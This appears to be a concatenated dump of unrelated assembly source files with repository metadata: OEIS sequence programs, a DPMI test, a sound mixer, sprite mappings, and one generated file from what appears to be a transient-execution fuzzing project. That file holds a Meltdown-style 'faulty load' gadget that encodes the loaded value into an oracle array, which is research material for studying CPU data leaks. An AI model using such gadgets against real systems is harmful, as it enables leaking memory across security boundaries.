dc5088ab9e31171fe2bb4bcef9e052d087d450e8 | 431 | asm | Assembly | oeis/190/A190989.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/190/A190989.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/190/A190989.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A190989: a(n) = 10*a(n-1) - 7*a(n-2), with a(0)=0, a(1)=1.
; Submitted by Christian Krause
; 0,1,10,93,860,7949,73470,679057,6276280,58009401,536160050,4955534693,45802226580,423333522949,3912719643430,36163861773657,334249580232560,3089348769910001,28553740637472090,263911964985350893,2439243465391204300,22545050899014586749
mov $3,1
lpb $0
sub $0,1
add $3,$1
mov $2,$3
add $3,$1
mul $1,8
add $1,$2
lpe
mov $0,$1
| 28.733333 | 236 | 0.728538 |
ceaf699e1b04f8ddf71dbd08e9afb9c7904de5eb | 6,196 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_21829_870.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_21829_870.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_21829_870.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1c235, %rdi
nop
nop
nop
sub $21433, %rbp
and $0xffffffffffffffc0, %rdi
movntdqa (%rdi), %xmm6
vpextrq $1, %xmm6, %r12
nop
nop
nop
nop
dec %r9
lea addresses_D_ht+0x635, %rdi
xor $19394, %r13
mov $0x6162636465666768, %rbp
movq %rbp, %xmm2
vmovups %ymm2, (%rdi)
nop
xor %r9, %r9
lea addresses_normal_ht+0x17235, %rsi
lea addresses_UC_ht+0x7d35, %rdi
nop
nop
nop
nop
xor %r8, %r8
mov $67, %rcx
rep movsb
cmp %r13, %r13
lea addresses_D_ht+0x14035, %rcx
nop
nop
nop
sub $46010, %rbp
movw $0x6162, (%rcx)
nop
nop
nop
inc %r9
lea addresses_UC_ht+0x167b5, %rcx
nop
nop
nop
nop
xor %rdi, %rdi
movb (%rcx), %r9b
cmp %r13, %r13
lea addresses_UC_ht+0x3ee9, %rsi
lea addresses_UC_ht+0xdeb1, %rdi
nop
nop
nop
nop
nop
cmp $34422, %rbp
mov $122, %rcx
rep movsl
nop
nop
nop
and $4014, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r9
push %rcx
push %rdx
push %rsi
// Store
lea addresses_normal+0x3b35, %r12
nop
nop
nop
nop
sub $62026, %r9
mov $0x5152535455565758, %rdx
movq %rdx, (%r12)
nop
nop
sub $25443, %rsi
// Load
lea addresses_WT+0xb5b5, %rdx
add $56258, %rcx
movb (%rdx), %r9b
nop
xor $46409, %r12
// Store
lea addresses_normal+0x1be61, %rdx
nop
nop
and %r12, %r12
movb $0x51, (%rdx)
nop
nop
nop
nop
cmp %r14, %r14
// Faulty Load
lea addresses_RW+0x11e35, %r12
nop
nop
add %r11, %r11
mov (%r12), %rcx
lea oracles, %r12
and $0xff, %rcx
shlq $12, %rcx
mov (%r12,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rcx
pop %r9
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal', 'size': 8, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal', 'size': 1, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 10, 'NT': True, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 38.01227 | 2,999 | 0.657844 |
213b2f9e845d32463a70c7e2b127e533c33381fe | 5,815 | asm | Assembly | C/PModeLib/dpmitest.asm | p-k-p/SysToolsLib | 827be2799e541410cb5c11358cd4ce6859e171ad | [
"Apache-2.0"
] | 232 | 2016-04-27T21:56:11.000Z | 2022-03-29T09:02:15.000Z | C/PModeLib/dpmitest.asm | p-k-p/SysToolsLib | 827be2799e541410cb5c11358cd4ce6859e171ad | [
"Apache-2.0"
] | 31 | 2016-05-09T09:05:36.000Z | 2022-03-29T19:17:45.000Z | C/PModeLib/dpmitest.asm | p-k-p/SysToolsLib | 827be2799e541410cb5c11358cd4ce6859e171ad | [
"Apache-2.0"
] | 94 | 2016-06-01T18:10:39.000Z | 2022-03-26T10:44:57.000Z | page 60, 132
;*****************************************************************************;
; ;
; FILENAME: dpmitest.asm ;
; ;
; CONTENTS: Generic assembly language program. Reuse this code. ;
; ;
; Author: Jean-Francois Larvoire 1994 ;
; ;
; USAGE: ;
; ;
; History: ;
; ;
; (c) Copyright 1994-2017 Hewlett Packard Enterprise Development LP ;
; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ;
;*****************************************************************************;
.XLIST
INCLUDE DOS.INC
.LIST
; INCLUDED DOS.INC
.386
;*****************************************************************************;
; ;
; Constants and macros ;
; ;
;*****************************************************************************;
DEBUG equ TRUE
display_msg macro msg
local m
STRINGS segment para public use16 'CODE'
m:
db msg, "$"
STRINGS ends
push dx
mov dx, offset DGROUP:m
call display_string_msg
pop dx
endm
CRLF equ <0DH, 0AH>
page
;*****************************************************************************;
; ;
; Program segment prefix ;
; ;
;*****************************************************************************;
DGROUP group PSP
PSP segment para public use16 'CODE'
org 000H
zero:
org 002H
EndOfAllocMem label word
org 006H
F_Dispatcher label dword
org 00AH
Terminate_Addr label dword
org 00EH
Ctrl_C_Exit label dword
org 012H
Hard_Err_Exit label dword
org 02CH
segenv label word
org 080H
argline label byte
org 100H
OneHundred:
jmp begin
page
;*****************************************************************************;
; ;
; Data part of the program segment ;
; ;
;*****************************************************************************;
dpmi_es dw ? ; DPMI private data segment
mode_switch dd ? ; Far pointer to the DPMI mode switch routine
dgroup_sel dw ?
callback dd ? ; VxD callback address
page
;*****************************************************************************;
; ;
; Main procedure ;
; ;
;*****************************************************************************;
ASSUME ds:DGROUP, es:DGROUP, SS:DGROUP
begin:
cld ; Always useful
; Free unused memory
set_block 1000H ; Keep only the 64 KB a .COM needs
; Verify DPMI is there
mov ax, 1687H
int 2FH
or ax, ax
jz dpmi_present
display_msg <"Error: No DPMI server.", CRLF>
jmp exit
dpmi_present:
mov word ptr mode_switch, di
mov word ptr mode_switch+2, es
mov dpmi_es, 0 ; Assume no DPMI segment
or si, si
jz no_private_data
mov bx, si
mov ah, 48h
int 21h
jnc ok_private_data
display_msg <"Error: Out of memory (1)", CRLF>
jmp exit
ok_private_data:
mov dpmi_es, ax
no_private_data:
; Switch to protected mode using DPMI
mov es, dpmi_es
xor ax, ax
call mode_switch ; Switch to protected mode
jnc @F
display_msg <"Failed to switch to protected mode.", CRLF>
jmp exit
@@:
mov dgroup_sel, ds
out 80H, al
mov ax, 0BA31H
int 15H
mov callback, eax
mov ax, 0BA30H
call callback
; The end
display_msg <"Done.", CRLF>
exit:
end_process 0 ; End process
;===FUNCTION HEADER===========================================================;
; ;
; NAME: display_dec_ax ;
; display_hex_ax ;
; display_hex_3n ;
; display_hex_al ;
; display_hex_1n ;
; ;
; DESCRIPTION: Display ax in decimal. ;
; Display an hexadecimal number 4, 3, 2, 1 digit long ;
; ;
; PARAMETERS: ;
; ;
; ON ENTRY: ax = Number to display (_ax and _3n) ;
; al = Number to display (_al and _1n) ;
; ;
; ON EXIT: None ;
; ;
; REGS ALTERED: None ;
; ;
;=============================================================================;
display_dec_ax proc near ; Display AX in decimal, format "%d".
push dx
push bx
push ax
sub dx, dx ; Don't use cwd. No signed numbers.
mov bx, 10
div bx ; AX = AX/10
test ax, ax ; Is quotient nul? If so, the remainder
jz ret_dec ; is the first digit to display.
call display_dec_ax ; Display the quotient first.
ret_dec:
add dl, "0" ; Convert the remainder into ASCII
display_char dl ; Display the remainder
pop ax
pop bx
pop dx
ret
display_dec_ax endp
hex db "0123456789ABCDEF"
display_hex_ax proc near
push ax
mov al, ah
call display_hex_al
pop ax
call display_hex_al
ret
display_hex_ax endp
display_hex_3n proc near
push ax
mov al, ah
call display_hex_1n
pop ax
call display_hex_al
ret
display_hex_3n endp
display_hex_al proc near
push ax
shr al, 1
shr al, 1
shr al, 1
shr al, 1
call display_hex_1n
pop ax
call display_hex_1n
ret
display_hex_al endp
display_hex_1n proc near
push dx
push bx
push ax
and ax, 0FH
mov bx, ax
display_char hex[bx]
pop ax
pop bx
pop dx
ret
display_hex_1n endp
display_string_msg proc near ; Input: SS:DX = String.
; Modified: None
push ds
push ss
pop ds
push ax
display dx
pop ax
pop ds
ret
display_string_msg endp
show_limit proc near ; AX = selector
movzx eax, ax
lsl eax, eax
jnz no_limit
ror eax, 16
call display_hex_ax
ror eax, 16
call display_hex_ax
exit_limit:
display_msg <CRLF>
ret
no_limit:
display_msg <"Unknown.">
jmp exit_limit
show_limit endp
PSP ends
end OneHundred
| 18.941368 | 79 | 0.5092 |
8fd97b20c8662ba8a27a5e126916c916d80dfdb4 | 744 | asm | Assembly | oeis/054/A054419.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/054/A054419.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/054/A054419.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A054419: Number of connected 3 X n binary matrices (divided by 2).
; Submitted by Christian Krause
; 3,21,143,953,6347,42285,281719,1876913,12504659,83310469,555043871,3697898985,24636713627,164138517789,1093548978567,7285610864737,48539321706403,323386164243445,2154513238908591,14354130788161817,95632306621624171,637136320181426701,4244827975345923479,28280548399985305105,188415036474766498803,1255287750000139193701,8363171882576601385023,55718415110409624608073,371215828875138264069947,2473171416207621981590525,16477144502379987201964199,109776576412412735789327553
mov $4,1
lpb $0
sub $0,1
add $1,$3
add $1,2
mov $2,$4
add $4,$1
add $2,$4
sub $4,$3
add $3,$2
add $3,$2
add $1,$3
lpe
add $3,$1
mov $0,$3
add $0,3
| 35.428571 | 474 | 0.799731 |
e9db09b8957444945e9c771beff4142dca5c1e12 | 622 | asm | Assembly | AVR/Asm templates/Delay/Examples/Delay in clock cycles/main.asm | dippinest/MCULibs | 1c12779a95f783688d32bdf576e5ed3d1f7feded | [
"MIT"
] | null | null | null | AVR/Asm templates/Delay/Examples/Delay in clock cycles/main.asm | dippinest/MCULibs | 1c12779a95f783688d32bdf576e5ed3d1f7feded | [
"MIT"
] | null | null | null | AVR/Asm templates/Delay/Examples/Delay in clock cycles/main.asm | dippinest/MCULibs | 1c12779a95f783688d32bdf576e5ed3d1f7feded | [
"MIT"
] | null | null | null |
.LIST
.DSEG
.CSEG
.INCLUDE "delay.inc"
.ORG 0x0000
Main:
SEI
LDI R16, (1 << 7)
OUT DDRD, R16
Main_Loop:
; Задержка составляет 32000 тактов => F_CPU (16000000) / 32000 = 500 Гц
; (2 мс) на одно переключение светодиода или 250 Гц (4 мс) на один цикл мигания
; -------------------------------------------------------------------------------
; The delay is 32000 clock cycles => F_CPU (16000000) / 32000 = 500 Hz (2 ms)
; for one LED switching or 250 Hz (4 ms) for one flashing cycle
DELAY_CLK16 32000
IN R16, PORTD
LDI R17, (1 << 7)
EOR R16, R17
OUT PORTD, R16
RJMP Main_Loop
| 19.4375 | 83 | 0.557878 |
0a397a07d50ec62a0967f2dc717a6a71ff425f6a | 625 | asm | Assembly | programs/oeis/061/A061205.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/061/A061205.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/061/A061205.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A061205: a(n) = n times R(n) where R(n) (A004086) is the digit reversal of n.
; 0,1,4,9,16,25,36,49,64,81,10,121,252,403,574,765,976,1207,1458,1729,40,252,484,736,1008,1300,1612,1944,2296,2668,90,403,736,1089,1462,1855,2268,2701,3154,3627,160,574,1008,1462,1936,2430,2944,3478,4032,4606,250,765,1300,1855,2430,3025,3640,4275,4930,5605,360,976,1612,2268,2944,3640,4356,5092,5848,6624,490,1207,1944,2701,3478,4275,5092,5929,6786,7663,640,1458,2296,3154,4032,4930,5848,6786,7744,8722,810,1729,2668,3627,4606,5605,6624,7663,8722,9801
mov $1,$0
seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences).
mul $0,$1
| 89.285714 | 451 | 0.7408 |
ec83adc2019af33faace88220ab37e348ab80e45 | 1,972 | asm | Assembly | General/Sprites/Madmole/Map - Madmole S3.asm | NatsumiFox/AMPS-Sonic-3-Knuckles | af951b39f0ca103a905d7492448ac5245a2e8104 | [
"Apache-2.0"
] | 5 | 2021-07-09T08:17:56.000Z | 2022-02-27T19:57:47.000Z | General/Sprites/Madmole/Map - Madmole S3.asm | NatsumiFox/AMPS-Sonic-3-Knuckles | af951b39f0ca103a905d7492448ac5245a2e8104 | [
"Apache-2.0"
] | null | null | null | General/Sprites/Madmole/Map - Madmole S3.asm | NatsumiFox/AMPS-Sonic-3-Knuckles | af951b39f0ca103a905d7492448ac5245a2e8104 | [
"Apache-2.0"
] | null | null | null | dc.w word_1613E6-Map_Madmole
dc.w word_161406-Map_Madmole
dc.w word_161426-Map_Madmole
dc.w word_161446-Map_Madmole
dc.w word_16145A-Map_Madmole
dc.w word_161468-Map_Madmole
dc.w word_161476-Map_Madmole
dc.w word_16147E-Map_Madmole
dc.w word_16148C-Map_Madmole
dc.w word_161494-Map_Madmole
dc.w word_1614A2-Map_Madmole
dc.w word_1614AA-Map_Madmole
dc.w word_1614B8-Map_Madmole
dc.w word_1614C0-Map_Madmole
word_1613E6: dc.w 5
dc.b $F4, $A, $20, 0, $FF, $FA
dc.b $FC, 0, $20, 9, $FF, $F2
dc.b $E8, 9, $40, $E, $FF, $FD
dc.b $F8, 0, $40, $14, 0, 5
dc.b 4, 1, $20, $A, 0, $A
word_161406: dc.w 5
dc.b $F4, $A, $20, 0, $FF, $FA
dc.b $FC, 0, $20, 9, $FF, $F2
dc.b $E8, 9, $40, $E, $FF, $F5
dc.b $F8, 0, $40, $14, $FF, $FD
dc.b 4, 1, $20, $A, 0, 2
word_161426: dc.w 5
dc.b $F4, $A, $20, 0, $FF, $FA
dc.b $FC, 0, $20, 9, $FF, $F2
dc.b $E8, 9, $40, $E, $FF, $ED
dc.b $F8, 0, $40, $14, $FF, $F5
dc.b 4, 1, $20, $A, $FF, $FA
word_161446: dc.w 3
dc.b $F4, $A, $20, 0, $FF, $FA
dc.b $FC, 0, $20, 9, $FF, $F2
dc.b $F8, 1, $20, $C, $FF, $F2
word_16145A: dc.w 2
dc.b $F4, $A, $20, 0, $FF, $FA
dc.b $FC, 0, $20, 9, $FF, $F2
word_161468: dc.w 2
dc.b $F4, 9, $40, $E, $FF, $F4
dc.b 4, 0, $40, $14, $FF, $FC
word_161476: dc.w 1
dc.b $F4, $A, $40, $15, $FF, $F4
word_16147E: dc.w 2
dc.b $FC, 0, $40, $1E, $FF, $F4
dc.b $F4, 6, $40, $1F, $FF, $FC
word_16148C: dc.w 1
dc.b $F4, $A, $50, $15, $FF, $F4
word_161494: dc.w 2
dc.b $FC, 9, $50, $E, $FF, $F4
dc.b $F4, 0, $50, $14, $FF, $FC
word_1614A2: dc.w 1
dc.b $F4, $A, $58, $15, $FF, $F4
word_1614AA: dc.w 2
dc.b $FC, 0, $48, $1E, 0, 4
dc.b $F4, 6, $48, $1F, $FF, $F4
word_1614B8: dc.w 1
dc.b $F4, $A, $48, $15, $FF, $F4
word_1614C0: dc.w 2
dc.b $FC, 8, $20, $25, $FF, $E8
dc.b $FC, 8, $28, $25, 0, 0
| 31.301587 | 36 | 0.508621 |
aaa96856b153d14e4f23d07668d49ac8c7f7fe0e | 524 | asm | Assembly | oeis/033/A033978.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/033/A033978.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/033/A033978.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A033978: Trajectory of 1 under map n->45n+1 if n odd, n->n/2 if n even
; Submitted by Jon Maiga
; 1,46,23,1036,518,259,11656,5828,2914,1457,65566,32783,1475236,737618,368809,16596406,8298203,373419136,186709568,93354784,46677392,23338696,11669348,5834674,2917337,131280166
add $0,1
mov $1,$0
mov $0,3
lpb $1
mov $2,$0
mod $2,2
add $3,1
sub $3,$2
mov $4,$0
lpb $2
mul $0,5
add $0,1
mul $0,9
sub $0,6
sub $2,1
lpe
lpb $3
div $0,2
sub $3,1
lpe
sub $1,1
lpe
mov $0,$4
div $0,3
| 18.068966 | 176 | 0.625954 |
a3daa7e1289265fe96c6fc908b544f1f4b279612 | 3,703 | asm | Assembly | sample_mixer/mixer_tick.asm | mikedailly/mod_player | 0c46930c3c0a2aa4679718452935853fe89c1774 | [
"FSFAP"
] | 16 | 2020-07-05T18:28:30.000Z | 2022-01-05T05:59:52.000Z | sample_mixer/mixer_tick.asm | mikedailly/mod_player | 0c46930c3c0a2aa4679718452935853fe89c1774 | [
"FSFAP"
] | null | null | null | sample_mixer/mixer_tick.asm | mikedailly/mod_player | 0c46930c3c0a2aa4679718452935853fe89c1774 | [
"FSFAP"
] | 3 | 2020-07-06T19:28:20.000Z | 2020-09-13T21:06:20.000Z | ;
; Sample Mixer for sound effect playback
; By Mike Dailly, (c) Copyright 2020 all rights reserved.
;
; ********************************************************************************************
; Process the mixer - process and actually play the current mod file.
; ********************************************************************************************
MixerProcess:
ld a,(MixerFrame)
add a,Hi(MixerSamplePlayback)
ld h,a
ld l,Lo(MixerSamplePlayback)
call MixerPlayDMASample
call MixerSaveMMUs
;------------------------------------------------------------------
; Process all samples
;------------------------------------------------------------------
DoSamples:
; which buffer do we mix into the final samples into?
ld a,(MixerFrame)
xor 1
ld (MixerFrame),a
add a,Hi(MixerSamplePlayback)
ld h,a
ld l,Lo(MixerSamplePlayback)
ld (MixerDestbuffer),hl
; Clear destination buffer, we need to do this because if samples are ending it'll leave data in the buffer
ld b,MixerSamplesPerFrame
ld a,128
@Clear ld (hl),a
inc hl
djnz @Clear
;------------------------------------------------------------------
; Mix in the samples
;------------------------------------------------------------------
ld b,MixerNumChannels
ld ix,MixerChannels
MixerCopyAllChannels:
push bc
ld a,(ix+Sample_Address)
or (ix+(Sample_Address+1))
jp z,ChannelNotInUse
ld l,(ix+Sample_Length)
ld h,(ix+(Sample_Length+1))
xor a
ld a,(ix+(Sample_Length+2))
ld de,MixerSamplesPerFrame
sbc hl,de
sbc a,0
jr nc,@NotEnd
;break
; how many bytes over did we go?
NEG_HL
ex de,hl
xor a
sbc hl,de
ld a,MixerSamplesPerFrame
cp l
jp nc,FreeSlot
ld b,l ; get number of bytes to copy into L
jp @SkipNotEnd
@NotEnd
ld (ix+Sample_Length),l
ld (ix+(Sample_Length+1)),h
ld (ix+(Sample_Length+2)),a
ld b,MixerSamplesPerFrame
@SkipNotEnd:
ld c,b ; remember number of bytes being copied
ld e,(ix+Sample_Address)
ld d,(ix+(Sample_Address+1))
ld a,(ix+Sample_Bank)
NextReg MIXER_BANK,a
inc a
NextReg MIXER_BANK+1,a
ld hl,(MixerDestbuffer)
@CopySample:
ld a,(de)
add a,(hl)
ld (hl),a
inc l
inc de
djnz @CopySample
; number of byte
ld a,MixerSamplesPerFrame
cp c
jr z,NotEndOfSample
FreeSlot
xor a
ld (ix+Sample_Address),a ; release sample
ld (ix+(Sample_Address+1)),a
NotEndOfSample:
ld a,d
sub Hi(MIXER_ADD)
srl a
swapnib
and $f
add a,(ix+Sample_Bank)
ld (ix+Sample_Bank),a
ld a,d
and $1f
add a,Hi(MIXER_ADD)
ld d,a
ld (ix+Sample_Address),e
ld (ix+(Sample_Address+1)),d
ChannelNotInUse:
ld bc,Sample_Size
add ix,bc
pop bc
dec b
jp nz,MixerCopyAllChannels
;------------------------------------------------------------------
; Scale sample buffer down for "raw" buffer playback
;------------------------------------------------------------------
SkipSampleEnd:
jp MixerRestoreMMUs ; comment out to record sample to memory (DEBUG)
; DEBUG - record sample into memory
ld b,MixerSamplesPerFrame
ld hl,(MixerDestbuffer)
ld a,(MixerTuneBank)
NextReg MIXER_SAMPLE_BANK,a ; lets me record the sample to memory for saving out via debugger
inc a
NextReg MIXER_SAMPLE_BANK+1,a
ld de,(MixerTuneAddress)
MixerScaleSample:
ld a,(hl)
inc l
ld (de),a
inc de
djnz MixerScaleSample
ld a,d
sub Hi(MIXER_ADD)
swapnib
and $f
srl a
ld b,a
ld a,(MixerTuneBank)
add a,b
ld (MixerTuneBank),a
ld a,d
and $1f
add a,Hi(MIXER_ADD)
ld d,a
ld (MixerTuneAddress),de
jp MixerRestoreMMUs
| 20.458564 | 109 | 0.559546 |
27e01678bcb44b705c7afbf8e43234e06e14cfd3 | 559 | asm | Assembly | WangShuang_book/p257.asm | SmirnovKol/Learning_x86_assembly_language | 239b2fb60d6df87316b98184c9c6b6f36940ccbe | [
"MIT"
] | 1 | 2018-11-21T23:34:24.000Z | 2018-11-21T23:34:24.000Z | WangShuang_book/p257.asm | SmirnovKol/Learning_x86_assembly_language | 239b2fb60d6df87316b98184c9c6b6f36940ccbe | [
"MIT"
] | null | null | null | WangShuang_book/p257.asm | SmirnovKol/Learning_x86_assembly_language | 239b2fb60d6df87316b98184c9c6b6f36940ccbe | [
"MIT"
] | null | null | null | ; store the interrupt handler (act as loop s) at 0000:0200
; int 7ch: set the 7ch location of the interrupt vector table as 0000:0200
assume cs:code
code segment
start: mov ax, cs
mov ds, ax
mov si, offset lp
mov ax, 0
mov es, ax
mov di, 0200h
mov cx, offset lpend - offset lp
cld
rep movsb
mov ax, 0
mov es, ax
mov word ptr es:[7ch*4], 0200h
mov word ptr es:[7ch*4+2], 0
mov ax, 4c00h
int 21h
; act as loop
lp: push bp
mov bp, sp
dec cx
jcxz ok
add ss:[bp+2], bx
ok: pop bp
iret
lpend: nop
code ends
end start
| 12.152174 | 74 | 0.649374 |
824eb3ab4f388bbc8bdbb011c12300b883e73221 | 153 | asm | Assembly | programs/oeis/161/A161422.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
